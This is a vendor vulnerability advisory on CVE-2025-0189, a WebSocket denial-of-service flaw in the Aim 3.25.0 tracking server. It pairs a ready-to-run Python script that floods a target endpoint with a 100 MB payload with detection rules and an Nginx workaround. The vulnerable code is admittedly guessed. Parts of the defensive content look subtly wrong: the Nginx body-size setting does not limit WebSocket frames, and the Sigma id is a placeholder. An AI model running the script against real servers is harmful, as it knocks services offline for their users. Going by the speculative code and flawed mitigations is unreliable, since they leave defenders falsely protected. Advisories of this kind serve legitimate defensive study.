CVE-2025-0189
Executive Summary
CVE-2025-0189 is a high-severity Denial of Service (DoS) vulnerability affecting Aimhubio Aim version 3.25.0. The vulnerability resides in the tracking server's WebSocket message size handling. By default, the server overrides the maximum allowed WebSocket message size, enabling an attacker to send very large images (or other oversized payloads) to the server. Processing these large messages consumes excessive server resources, causing the server to become unresponsive to legitimate requests. This results in a denial of service condition. The vulnerability has a CVSS score of 7.5, indicating high severity, and currently no patch is available. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the risk remains significant for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Aimhubio Aim is a Python package available on PyPI. This vulnerability affects the tracking server component, which is often deployed as part of ML experiment tracking infrastructure. Organizations using Aim in their ML pipelines should assess their exposure, especially if the tracking server is exposed to untrusted networks. The lack of a patch means that supply chain security relies on manual mitigation (e.g., network filtering, rate limiting) until an official fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability. The threat level is High due to the low complexity and potential for service disruption.
Deep Dive & Mechanics
The Aim tracking server uses WebSockets for real-time communication with clients, including the transmission of experiment data such as images. In version 3.25.0, the server configuration overrides the default maximum WebSocket message size, effectively removing the size limit. This allows an attacker to send arbitrarily large messages (e.g., a very large image encoded as a base64 string) to the server.
When the server receives such a large message, it must allocate memory and processing time to decode and handle the payload. This operation is synchronous or blocks the event loop, preventing the server from processing other requests. As a result, legitimate clients experience timeouts or connection failures, leading to a denial of service.
The vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling), as the server fails to enforce a reasonable limit on resource consumption.
Vulnerable vs. Patched Code
Vulnerable Code (Aim 3.25.0): The server likely sets the WebSocket max message size to a very high value or disables the limit entirely. Example (conceptual):
# In server configuration
websocket_max_message_size = 0 # or a very large number
Patched Code (Hypothetical): A patch would enforce a reasonable limit, e.g., 10 MB, and reject messages exceeding that size.
# Patched configuration
websocket_max_message_size = 10 * 1024 * 1024 # 10 MB limit
Since no official patch exists, users must implement workarounds.
Exploitation & Lab Setup
Red Team
Objective: Cause a denial of service on an Aim tracking server.
Prerequisites:
- Target Aim server running version 3.25.0.
- Network access to the WebSocket endpoint (typically
ws://<server>:<port>/aim/ws).
Exploit Steps:
- Identify the WebSocket endpoint (e.g., using browser developer tools or network scanning).
- Craft a large payload (e.g., a base64-encoded image of 100 MB or more).
- Send the payload via WebSocket connection.
Example Python Script:
import asyncio
import websockets
async def dos():
uri = "ws://target:port/aim/ws"
async with websockets.connect(uri) as websocket:
# Generate a large payload (e.g., 100 MB of 'A')
large_payload = b"A" * 100 * 1024 * 1024
await websocket.send(large_payload)
print("Payload sent. Server should be unresponsive.")
asyncio.run(dos())
Expected Outcome: The server becomes unresponsive to other requests for the duration of processing the large message.
Blue Team
Detection:
- Monitor WebSocket message sizes. Alert on messages exceeding a threshold (e.g., 10 MB).
- Monitor server CPU and memory usage spikes.
- Use network monitoring to detect large outbound/inbound WebSocket frames.
Mitigation:
- Place the Aim server behind a reverse proxy (e.g., Nginx) that enforces WebSocket message size limits.
- Implement rate limiting on WebSocket connections.
- Restrict network access to the Aim server using firewalls or VPNs.
Example Nginx Configuration:
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
listen 80;
server_name aim.example.com;
location /aim/ws {
proxy_pass http://aim_backend;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
proxy_read_timeout 60s;
proxy_send_timeout 60s;
# Limit WebSocket message size to 10 MB
client_max_body_size 10m;
proxy_request_buffering off;
}
}
Indicators of Compromise (IOCs)
Network IOCs:
- WebSocket frames with payload size > 10 MB.
- High volume of WebSocket connections from a single IP.
- Server responses with HTTP 503 or connection timeouts.
System IOCs:
- High CPU usage by the Aim server process.
- Memory exhaustion on the server.
- Application logs showing "WebSocket message too large" errors (if logging is enabled).
File IOCs:
- Temporary files in the server's working directory with large sizes (if the server writes payloads to disk).
Detection Engineering
YARA Rule
rule CVE_2025_0189_WebSocket_DoS {
meta:
description = "Detects large WebSocket payloads targeting Aimhubio Aim server"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-0189"
strings:
$ws_header = "Upgrade: websocket" nocase
$large_payload = /.{10485760,}/ // 10 MB or larger
condition:
$ws_header and #large_payload > 0
}
Sigma Rule
title: CVE-2025-0189 Aim WebSocket DoS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects large WebSocket messages sent to Aim tracking server
author: Valters IT
date: 2025/01/01
logsource:
category: webserver
product: nginx
detection:
selection:
c-uri|contains: "/aim/ws"
sc-bytes|gte: 10485760
condition: selection
falsepositives:
- Legitimate large image uploads (if allowed)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-0189 Aim WebSocket Large Payload"; flow:to_server; content:"|47 45 54| /aim/ws"; http_uri; content:"Upgrade: websocket"; http_header; pcre:"/^.{10485760,}/m"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Restrict access to the Aim tracking server to trusted IPs only.
- Reverse Proxy: Deploy Nginx or HAProxy in front of the Aim server to enforce WebSocket message size limits.
- Rate Limiting: Implement connection rate limiting to prevent rapid exploitation.
Long-Term Fix:
- Monitor the Aimhubio repository for an official patch. Once available, upgrade to the patched version.
- Consider forking the repository and applying a custom patch to limit WebSocket message size.
Workaround:
- Modify the Aim server source code to set a reasonable
websocket_max_message_size(e.g., 10 MB) and rebuild the package.
Valters IT